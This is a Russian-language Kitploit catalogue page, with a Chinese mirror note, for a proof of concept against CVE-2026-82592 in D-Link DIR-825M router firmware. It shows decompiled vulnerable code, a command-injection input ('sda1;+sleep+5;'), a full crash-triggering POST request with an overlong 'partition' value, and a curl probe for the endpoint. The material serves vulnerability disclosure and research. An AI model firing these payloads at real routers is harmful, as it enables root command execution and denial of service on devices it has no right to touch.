Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-82592 — Доказательство концепции эксплуатации переполнения буфера стека и внедрения команд в D-Link DIR-825M в /boafrm/formDiskFormat, позволяющее удалённое выполнение кода с правами root на прошивке v1.1.8. | Kitploit
Инструменты/GitHubGitHub/hackspeak/cve-2026-82592
Безопасность IoTАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность оборудования и IoTЭксплуатация Бинарных Файлов
GitHubhackspeak/cve-2026-82592

CVE-2026-82592

Доказательство концепции эксплуатации переполнения буфера стека и внедрения команд в D-Link DIR-825M в /boafrm/formDiskFormat, позволяющее удалённое выполнение кода с правами root на прошивке v1.1.8.

Репозиторий
112 ч 32 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

D-Link Router DIR-825M - Переполнение буфера в /boafrm/formDiskFormat

Детали уязвимости

Подробная информация

ПолеЗначение
ВендорD-Link
ПродуктD-Link DIR-825M (и другие модели, использующие ту же прошивку)
Затронутая версияПрошивка v1.1.8
Тип уязвимостиПереполнение буфера в стеке (CWE-121)、Инъекция команд (CWE-78)
Сайт вендораhttps://www.dlink.com/

Описание уязвимости

В ходе проверки безопасности прошивки маршрутизатора была выявлена критическая уязвимость в конечной точке /boafrm/formDiskFormat.

Уязвимость находится в функции sub_46725C, которая обрабатывает форматирование разделов. Функция получает управляемый пользователем параметр partition из HTTP POST-запроса. Без какой-либо предварительной санитизации, проверки или контроля длины этого параметра программа выполняет несколько небезопасных операций:

  1. Она использует sprintf для форматирования параметра в небольшой локальный буфер стека v9 (выделено всего 132 байта).
  2. Она напрямую передаёт сформированные строки команд в system() для выполнения системных утилит.

Злоумышленник может воспользоваться этим, внедряя shell-метасимволы (такие как ;, & или |) в параметр partition для выполнения произвольных системных команд с правами root, либо передав строку чрезмерной длины, чтобы вызвать переполнение буфера в стеке и перехватить поток управления.

  • Место уязвимости: /boafrm/formDiskFormat (или аналогичная конечная точка обработки форматирования диска)
  • Уязвимая функция: sub_46725C

Корневая причина

Уязвимость возникает из-за двух одновременных ошибок программирования: небезопасное форматирование строк и прямое выполнение непроверенных входных данных в системной оболочке.

image0

1. Инъекция команд (CWE-78)

Внутри sub_46725C параметр partition извлекается и сохраняется в v2:

root@kitploit:~
v2 = (const char *)sub_41351C(a1, "partition", "");

Если параметр не пуст, программа немедленно формирует команду размонтирования и выполняет её:

root@kitploit:~
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);

Поскольку v2 напрямую встраивается в строку команды без санитизации таких символов, как ;, ввод sda1;+sleep+5; будет выполнен как:

root@kitploit:~
umount /dev/sda1; sleep 5; >/dev/null 2>&1

Это напрямую приводит к выполнению произвольных shell-команд.

2. Переполнение буфера в стеке (CWE-121)

Локальный буфер v9 объявлен в стеке с ограниченным размером:

root@kitploit:~
char v9[132];

Программа использует sprintf для копирования пользовательского ввода в v9:

root@kitploit:~
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);

Поскольку sprintf не выполняет проверку границ, параметр partition длиннее примерно 90 байт запишет данные за пределы v9, перезаписывая стековый кадр, включая сохранённый указатель кадра и адрес возврата ($ra в MIPS/ARM).

Воздействие

Злоумышленник может использовать эту уязвимость для достижения следующих результатов:

  • Выполнение произвольных команд: Выполнение произвольных shell-команд на маршрутизаторе с наивысшими (root) привилегиями.
  • Отказ в обслуживании (DoS): Перезапись стека или повреждение памяти для аварийного завершения демона веб-сервера, что делает панель управления маршрутизатором полностью недоступной.

Доказательство концепции (PoC)

При передаче параметра partition чрезмерной длины стек будет повреждён, что приведёт к ошибке сегментации и аварийному завершению демона веб-сервера.

root@kitploit:~
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive

partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm

Скриншоты локального воспроизведения

  • Настройка среды с помощью firmae и запуск PoC через Burp Repeater

image1

  • Результат:

image2


分发镜像说明(中文)

本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-82592 / D-Link DIR-825M(共享同一固件代码库的型号需一并排查)
  • 受影响版本:固件 v1.1.8
  • 类型:栈缓冲区溢出(CWE-121)+ 命令注入(CWE-78)→ 远程代码执行(RCE)
  • CVSS 3.1:9.9(Critical);CVSS 4.0:8.6(High)
  • 攻击面:Web 管理端磁盘格式化接口 POST /boafrm/formDiskFormat
  • 触发方式:向 partition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)
  • 利用结果:以 root 权限执行任意命令 / 使 Web 服务崩溃(DoS)
  • 修复状态:披露时厂商未公布补丁,请关注 D-Link 官方固件更新

核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。

环境与用法 / Requirements & Usage

  • 复现环境:FirmaE 固件仿真 + Burp Repeater(公开的是崩溃触发载荷,非完整 EXP)
  • 接口存在性检测:
root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
  • 复现请求(关键部分):
root@kitploit:~
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded

partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。

归属与许可 / Attribution & License

  • 上游 PoC 报告作者:Robots10(公开 IoT 漏洞仓库 IoT_vlu,reports/Dlink/formDiskFormat/)。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-82592
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-82592
  • D-Link 官网:https://www.dlink.com/
Скачать инструмент